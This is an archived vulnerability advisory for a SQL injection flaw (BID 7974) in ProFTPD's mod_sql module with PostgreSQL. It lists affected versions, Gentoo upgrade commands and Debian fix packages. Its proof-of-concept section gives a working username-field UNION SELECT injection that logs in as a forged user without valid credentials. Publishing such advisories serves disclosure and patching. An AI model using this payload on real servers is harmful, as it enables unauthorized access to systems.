ProFTPD SQL Injection mod_sql Vulnerability
BID:7974
Info
ProFTPD SQL Injection mod_sql Vulnerability
| Bugtraq ID: | 7974 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jun 19 2003 12:00AM |
| Updated: | Jun 19 2003 12:00AM |
| Credit: | Discovery of this vulnerability credited to "runlevel " <[email protected]>. |
| Vulnerable: |
ProFTPD Project ProFTPD 1.2.9 rc1 ProFTPD Project ProFTPD 1.2.8 ProFTPD Project ProFTPD 1.2.7 rc3 ProFTPD Project ProFTPD 1.2.7 rc2 ProFTPD Project ProFTPD 1.2.7 rc1 ProFTPD Project ProFTPD 1.2.7 ProFTPD Project ProFTPD 1.2.6 ProFTPD Project ProFTPD 1.2.5 rc1 ProFTPD Project ProFTPD 1.2.5 ProFTPD Project ProFTPD 1.2.4 ProFTPD Project ProFTPD 1.2.3 ProFTPD Project ProFTPD 1.2.2 rc3 ProFTPD Project ProFTPD 1.2.2 rc1 ProFTPD Project ProFTPD 1.2.2 ProFTPD Project ProFTPD 1.2.1 ProFTPD Project ProFTPD 1.2 pre9 ProFTPD Project ProFTPD 1.2 pre8 ProFTPD Project ProFTPD 1.2 pre7 ProFTPD Project ProFTPD 1.2 pre6 ProFTPD Project ProFTPD 1.2 pre5 ProFTPD Project ProFTPD 1.2 pre4 ProFTPD Project ProFTPD 1.2 pre3 ProFTPD Project ProFTPD 1.2 pre2 ProFTPD Project ProFTPD 1.2 pre11 ProFTPD Project ProFTPD 1.2 pre10 ProFTPD Project ProFTPD 1.2 pre1 ProFTPD Project ProFTPD 1.2 .0rc3 ProFTPD Project ProFTPD 1.2 .0rc2 ProFTPD Project ProFTPD 1.2 .0rc1 ProFTPD Project ProFTPD 1.2 |
| Not Vulnerable: | |
Discussion
ProFTPD SQL Injection mod_sql Vulnerability
ProFTPD has been reported prone to SQL injection attacks. Specifically, ProFTPD versions that use the mod_sql module to manipulate PostgreSQL databases are prone to SQL injection attacks. The vulnerability occurs due to insufficient sanitization of user-supplied data when logging onto the FTP server.
Successful exploitation may result in an attacker obtaining privileged access to the FTP server. Other attacks are also possible.
ProFTPD has been reported prone to SQL injection attacks. Specifically, ProFTPD versions that use the mod_sql module to manipulate PostgreSQL databases are prone to SQL injection attacks. The vulnerability occurs due to insufficient sanitization of user-supplied data when logging onto the FTP server.
Successful exploitation may result in an attacker obtaining privileged access to the FTP server. Other attacks are also possible.
Exploit / POC
ProFTPD SQL Injection mod_sql Vulnerability
The following proof of concept and exploit was provided:
Name (localhost:runlevel): ')UNION SELECT
'u','p',1001,1001,'/tmp','/bin/bash' WHERE(''='
331 Password required for ')UNION.
Password:
230 User ')UNION SELECT 'u','p',1001,1001,'/tmp'
,'/bin/bash' WHERE(''=' logged in.
The following proof of concept and exploit was provided:
Name (localhost:runlevel): ')UNION SELECT
'u','p',1001,1001,'/tmp','/bin/bash' WHERE(''='
331 Password required for ')UNION.
Password:
230 User ')UNION SELECT 'u','p',1001,1001,'/tmp'
,'/bin/bash' WHERE(''=' logged in.
Solution / Fix
ProFTPD SQL Injection mod_sql Vulnerability
Solution:
It is recommended that all Gentoo users who are running net-ftp/proftpd upgrade to proftpd-1.2.9_rc1 with the following commands:
emerge sync
emerge proftpd
emerge clean
Debian has released an advisory DSA 338-1. Information about obtaining and applying fixes can be found in the referenced advisory.
ProFTPD Project ProFTPD 1.2 pre9
ProFTPD Project ProFTPD 1.2 pre4
ProFTPD Project ProFTPD 1.2 pre5
ProFTPD Project ProFTPD 1.2 pre7
ProFTPD Project ProFTPD 1.2 pre3
ProFTPD Project ProFTPD 1.2 pre2
ProFTPD Project ProFTPD 1.2 pre8
ProFTPD Project ProFTPD 1.2 pre11
ProFTPD Project ProFTPD 1.2 pre6
ProFTPD Project ProFTPD 1.2 pre10
ProFTPD Project ProFTPD 1.2.4
Solution:
It is recommended that all Gentoo users who are running net-ftp/proftpd upgrade to proftpd-1.2.9_rc1 with the following commands:
emerge sync
emerge proftpd
emerge clean
Debian has released an advisory DSA 338-1. Information about obtaining and applying fixes can be found in the referenced advisory.
ProFTPD Project ProFTPD 1.2 pre9
-
Debian proftpd_1.2.0pre10-2potato1_arm.deb
http://security.debian.org/debian-security/dists/stable/updates/main/b inary-arm/proftpd_1.2.0pre10-2potato1_arm.deb
ProFTPD Project ProFTPD 1.2 pre4
-
Debian proftpd_1.2.0pre10-2potato1_arm.deb
http://security.debian.org/debian-security/dists/stable/updates/main/b inary-arm/proftpd_1.2.0pre10-2potato1_arm.deb
ProFTPD Project ProFTPD 1.2 pre5
-
Debian proftpd_1.2.0pre10-2potato1_arm.deb
http://security.debian.org/debian-security/dists/stable/updates/main/b inary-arm/proftpd_1.2.0pre10-2potato1_arm.deb
ProFTPD Project ProFTPD 1.2 pre7
-
Debian proftpd_1.2.0pre10-2potato1_arm.deb
http://security.debian.org/debian-security/dists/stable/updates/main/b inary-arm/proftpd_1.2.0pre10-2potato1_arm.deb
ProFTPD Project ProFTPD 1.2 pre3
-
Debian proftpd_1.2.0pre10-2potato1_arm.deb
http://security.debian.org/debian-security/dists/stable/updates/main/b inary-arm/proftpd_1.2.0pre10-2potato1_arm.deb
ProFTPD Project ProFTPD 1.2 pre2
-
Debian proftpd_1.2.0pre10-2potato1_arm.deb
http://security.debian.org/debian-security/dists/stable/updates/main/b inary-arm/proftpd_1.2.0pre10-2potato1_arm.deb
ProFTPD Project ProFTPD 1.2 pre8
-
Debian proftpd_1.2.0pre10-2potato1_arm.deb
http://security.debian.org/debian-security/dists/stable/updates/main/b inary-arm/proftpd_1.2.0pre10-2potato1_arm.deb
ProFTPD Project ProFTPD 1.2 pre11
-
Debian proftpd_1.2.0pre10-2potato1_arm.deb
http://security.debian.org/debian-security/dists/stable/updates/main/b inary-arm/proftpd_1.2.0pre10-2potato1_arm.deb
ProFTPD Project ProFTPD 1.2 pre6
-
Debian proftpd_1.2.0pre10-2potato1_arm.deb
http://security.debian.org/debian-security/dists/stable/updates/main/b inary-arm/proftpd_1.2.0pre10-2potato1_arm.deb
ProFTPD Project ProFTPD 1.2 pre10
-
Debian proftpd_1.2.0pre10-2potato1_arm.deb
http://security.debian.org/debian-security/dists/stable/updates/main/b inary-arm/proftpd_1.2.0pre10-2potato1_arm.deb
ProFTPD Project ProFTPD 1.2.4
-
Debian proftpd-common_1.2.4+1.2.5rc1-5woody2_alpha.deb
Debian GNU/Linux 3.0 (woody)
http://security.debian.org/pool/updates/main/p/proftpd/proftpd-common_ 1.2.4+1.2.5rc1-5woody2_alpha.deb -
Debian proftpd-common_1.2.4+1.2.5rc1-5woody2_arm.deb
Debian GNU/Linux 3.0 (woody)
http://security.debian.org/pool/updates/main/p/proftpd/proftpd-common_ 1.2.4+1.2.5rc1-5woody2_arm.deb -
Debian proftpd-common_1.2.4+1.2.5rc1-5woody2_i386.deb
Debian GNU/Linux 3.0 (woody)
http://security.debian.org/pool/updates/main/p/proftpd/proftpd-common_ 1.2.4+1.2.5rc1-5woody2_i386.deb -
Debian proftpd-common_1.2.4+1.2.5rc1-5woody2_ia64.deb
Debian GNU/Linux 3.0 (woody)
http://security.debian.org/pool/updates/main/p/proftpd/proftpd-common_ 1.2.4+1.2.5rc1-5woody2_ia64.deb -
Debian proftpd-common_1.2.4+1.2.5rc1-5woody2_mips.deb
Debian GNU/Linux 3.0 (woody)
http://security.debian.org/pool/updates/main/p/proftpd/proftpd-common_ 1.2.4+1.2.5rc1-5woody2_mips.deb -
Debian proftpd-common_1.2.4+1.2.5rc1-5woody2_mipsel.deb
Debian GNU/Linux 3.0 (woody)
http://security.debian.org/pool/updates/main/p/proftpd/proftpd-common_ 1.2.4+1.2.5rc1-5woody2_mipsel.deb -
Debian proftpd-common_1.2.4+1.2.5rc1-5woody2_powerpc.deb
Debian GNU/Linux 3.0 (woody)
http://security.debian.org/pool/updates/main/p/proftpd/proftpd-common_ 1.2.4+1.2.5rc1-5woody2_powerpc.deb -
Debian proftpd-common_1.2.4+1.2.5rc1-5woody2_s390.deb
Debian GNU/Linux 3.0 (woody)
http://security.debian.org/pool/updates/main/p/proftpd/proftpd-common_ 1.2.4+1.2.5rc1-5woody2_s390.deb -
Debian proftpd-common_1.2.4+1.2.5rc1-5woody2_sparc.deb
Debian GNU/Linux 3.0 (woody)
http://security.debian.org/pool/updates/main/p/proftpd/proftpd-common_ 1.2.4+1.2.5rc1-5woody2_sparc.deb -
Debian proftpd-doc_1.2.4+1.2.5rc1-5woody2_all.deb
Debian GNU/Linux 3.0 (woody)
http://security.debian.org/pool/updates/main/p/proftpd/proftpd-doc_1.2 .4+1.2.5rc1-5woody2_all.deb -
Debian proftpd-ldap_1.2.4+1.2.5rc1-5woody2_alpha.deb
Debian GNU/Linux 3.0 (woody)
http://security.debian.org/pool/updates/main/p/proftpd/proftpd-ldap_1. 2.4+1.2.5rc1-5woody2_alpha.deb -
Debian proftpd-ldap_1.2.4+1.2.5rc1-5woody2_arm.deb
Debian GNU/Linux 3.0 (woody)
http://security.debian.org/pool/updates/main/p/proftpd/proftpd-ldap_1. 2.4+1.2.5rc1-5woody2_arm.deb -
Debian proftpd-ldap_1.2.4+1.2.5rc1-5woody2_i386.deb
Debian GNU/Linux 3.0 (woody)
http://security.debian.org/pool/updates/main/p/proftpd/proftpd-ldap_1. 2.4+1.2.5rc1-5woody2_i386.deb -
Debian proftpd-ldap_1.2.4+1.2.5rc1-5woody2_ia64.deb
Debian GNU/Linux 3.0 (woody)
http://security.debian.org/pool/updates/main/p/proftpd/proftpd-ldap_1. 2.4+1.2.5rc1-5woody2_ia64.deb -
Debian proftpd-ldap_1.2.4+1.2.5rc1-5woody2_m68k.deb
Debian GNU/Linux 3.0 (woody)
http://security.debian.org/pool/updates/main/p/proftpd/proftpd-ldap_1. 2.4+1.2.5rc1-5woody2_m68k.deb -
Debian proftpd-ldap_1.2.4+1.2.5rc1-5woody2_mips.deb
Debian GNU/Linux 3.0 (woody)
http://security.debian.org/pool/updates/main/p/proftpd/proftpd-ldap_1. 2.4+1.2.5rc1-5woody2_mips.deb -
Debian proftpd-ldap_1.2.4+1.2.5rc1-5woody2_mipsel.deb
Debian GNU/Linux 3.0 (woody)
http://security.debian.org/pool/updates/main/p/proftpd/proftpd-ldap_1. 2.4+1.2.5rc1-5woody2_mipsel.deb -
Debian proftpd-ldap_1.2.4+1.2.5rc1-5woody2_powerpc.deb
Debian GNU/Linux 3.0 (woody)
http://security.debian.org/pool/updates/main/p/proftpd/proftpd-ldap_1. 2.4+1.2.5rc1-5woody2_powerpc.deb -
Debian proftpd-ldap_1.2.4+1.2.5rc1-5woody2_s390.deb
Debian GNU/Linux 3.0 (woody)
http://security.debian.org/pool/updates/main/p/proftpd/proftpd-ldap_1. 2.4+1.2.5rc1-5woody2_s390.deb -
Debian proftpd-ldap_1.2.4+1.2.5rc1-5woody2_sparc.deb
Debian GNU/Linux 3.0 (woody)
http://security.debian.org/pool/updates/main/p/proftpd/proftpd-ldap_1. 2.4+1.2.5rc1-5woody2_sparc.deb -
Debian proftpd-mysql_1.2.4+1.2.5rc1-5woody2_alpha.deb
Debian GNU/Linux 3.0 (woody)
http://security.debian.org/pool/updates/main/p/proftpd/proftpd-mysql_1 .2.4+1.2.5rc1-5woody2_alpha.deb -
Debian proftpd-mysql_1.2.4+1.2.5rc1-5woody2_arm.deb
Debian GNU/Linux 3.0 (woody)
http://security.debian.org/pool/updates/main/p/proftpd/proftpd-mysql_1 .2.4+1.2.5rc1-5woody2_arm.deb -
Debian proftpd-mysql_1.2.4+1.2.5rc1-5woody2_i386.deb
Debian GNU/Linux 3.0 (woody)
http://security.debian.org/pool/updates/main/p/proftpd/proftpd-mysql_1 .2.4+1.2.5rc1-5woody2_i386.deb -
Debian proftpd-mysql_1.2.4+1.2.5rc1-5woody2_m68k.deb
Debian GNU/Linux 3.0 (woody)
http://security.debian.org/pool/updates/main/p/proftpd/proftpd-mysql_1 .2.4+1.2.5rc1-5woody2_m68k.deb -
Debian proftpd-mysql_1.2.4+1.2.5rc1-5woody2_mips.deb
Debian GNU/Linux 3.0 (woody)
http://security.debian.org/pool/updates/main/p/proftpd/proftpd-mysql_1 .2.4+1.2.5rc1-5woody2_mips.deb -
Debian proftpd-mysql_1.2.4+1.2.5rc1-5woody2_mipsel.deb
Debian GNU/Linux 3.0 (woody)
http://security.debian.org/pool/updates/main/p/proftpd/proftpd-mysql_1 .2.4+1.2.5rc1-5woody2_mipsel.deb -
Debian proftpd-mysql_1.2.4+1.2.5rc1-5woody2_powerpc.deb
Debian GNU/Linux 3.0 (woody)
http://security.debian.org/pool/updates/main/p/proftpd/proftpd-mysql_1 .2.4+1.2.5rc1-5woody2_powerpc.deb -
Debian proftpd-mysql_1.2.4+1.2.5rc1-5woody2_s390.deb
Debian GNU/Linux 3.0 (woody)
http://security.debian.org/pool/updates/main/p/proftpd/proftpd-mysql_1 .2.4+1.2.5rc1-5woody2_s390.deb -
Debian proftpd-mysql_1.2.4+1.2.5rc1-5woody2_sparc.deb
Debian GNU/Linux 3.0 (woody)
http://security.debian.org/pool/updates/main/p/proftpd/proftpd-mysql_1 .2.4+1.2.5rc1-5woody2_sparc.deb -
Debian proftpd-pgsql_1.2.4+1.2.5rc1-5woody2_alpha.deb
Debian GNU/Linux 3.0 (woody)
http://security.debian.org/pool/updates/main/p/proftpd/proftpd-pgsql_1 .2.4+1.2.5rc1-5woody2_alpha.deb -
Debian proftpd-pgsql_1.2.4+1.2.5rc1-5woody2_arm.deb
Debian GNU/Linux 3.0 (woody)
http://security.debian.org/pool/updates/main/p/proftpd/proftpd-pgsql_1 .2.4+1.2.5rc1-5woody2_arm.deb -
Debian proftpd-pgsql_1.2.4+1.2.5rc1-5woody2_i386.deb
Debian GNU/Linux 3.0 (woody)
http://security.debian.org/pool/updates/main/p/proftpd/proftpd-pgsql_1 .2.4+1.2.5rc1-5woody2_i386.deb -
Debian proftpd-pgsql_1.2.4+1.2.5rc1-5woody2_m68k.deb
Debian GNU/Linux 3.0 (woody)
http://security.debian.org/pool/updates/main/p/proftpd/proftpd-pgsql_1 .2.4+1.2.5rc1-5woody2_m68k.deb -
Debian proftpd-pgsql_1.2.4+1.2.5rc1-5woody2_mips.deb
Debian GNU/Linux 3.0 (woody)
http://security.debian.org/pool/updates/main/p/proftpd/proftpd-pgsql_1 .2.4+1.2.5rc1-5woody2_mips.deb -
Debian proftpd-pgsql_1.2.4+1.2.5rc1-5woody2_mipsel.deb
Debian GNU/Linux 3.0 (woody)
http://security.debian.org/pool/updates/main/p/proftpd/proftpd-pgsql_1 .2.4+1.2.5rc1-5woody2_mipsel.deb -
Debian proftpd-pgsql_1.2.4+1.2.5rc1-5woody2_powerpc.deb
Debian GNU/Linux 3.0 (woody)
http://security.debian.org/pool/updates/main/p/proftpd/proftpd-pgsql_1 .2.4+1.2.5rc1-5woody2_powerpc.deb -
Debian proftpd-pgsql_1.2.4+1.2.5rc1-5woody2_s390.deb
Debian GNU/Linux 3.0 (woody)
http://security.debian.org/pool/updates/main/p/proftpd/proftpd-pgsql_1 .2.4+1.2.5rc1-5woody2_s390.deb -
Debian proftpd-pgsql_1.2.4+1.2.5rc1-5woody2_sparc.deb
Debian GNU/Linux 3.0 (woody)
http://security.debian.org/pool/updates/main/p/proftpd/proftpd-pgsql_1 .2.4+1.2.5rc1-5woody2_sparc.deb -
Debian proftpd_1.2.4+1.2.5rc1-5woody2_alpha.deb
Debian GNU/Linux 3.0 (woody)
http://security.debian.org/pool/updates/main/p/proftpd/proftpd_1.2.4+1 .2.5rc1-5woody2_alpha.deb -
Debian proftpd_1.2.4+1.2.5rc1-5woody2_arm.deb
Debian GNU/Linux 3.0 (woody)
http://security.debian.org/pool/updates/main/p/proftpd/proftpd_1.2.4+1 .2.5rc1-5woody2_arm.deb -
Debian proftpd_1.2.4+1.2.5rc1-5woody2_i386.deb
Debian GNU/Linux 3.0 (woody)
http://security.debian.org/pool/updates/main/p/proftpd/proftpd_1.2.4+1 .2.5rc1-5woody2_i386.deb -
Debian proftpd_1.2.4+1.2.5rc1-5woody2_ia64.deb
Debian GNU/Linux 3.0 (woody)
http://security.debian.org/pool/updates/main/p/proftpd/proftpd_1.2.4+1 .2.5rc1-5woody2_ia64.deb -
Debian proftpd_1.2.4+1.2.5rc1-5woody2_mips.deb
Debian GNU/Linux 3.0 (woody)
http://security.debian.org/pool/updates/main/p/proftpd/proftpd_1.2.4+1 .2.5rc1-5woody2_mips.deb -
Debian proftpd_1.2.4+1.2.5rc1-5woody2_mipsel.deb
Debian GNU/Linux 3.0 (woody)
http://security.debian.org/pool/updates/main/p/proftpd/proftpd_1.2.4+1 .2.5rc1-5woody2_mipsel.deb -
Debian proftpd_1.2.4+1.2.5rc1-5woody2_powerpc.deb
Debian GNU/Linux 3.0 (woody)
http://security.debian.org/pool/updates/main/p/proftpd/proftpd_1.2.4+1 .2.5rc1-5woody2_powerpc.deb -
Debian proftpd_1.2.4+1.2.5rc1-5woody2_s390.deb
Debian GNU/Linux 3.0 (woody)
http://security.debian.org/pool/updates/main/p/proftpd/proftpd_1.2.4+1 .2.5rc1-5woody2_s390.deb -
Debian proftpd_1.2.4+1.2.5rc1-5woody2_sparc.deb
Debian GNU/Linux 3.0 (woody)
http://security.debian.org/pool/updates/main/p/proftpd/proftpd_1.2.4+1 .2.5rc1-5woody2_sparc.deb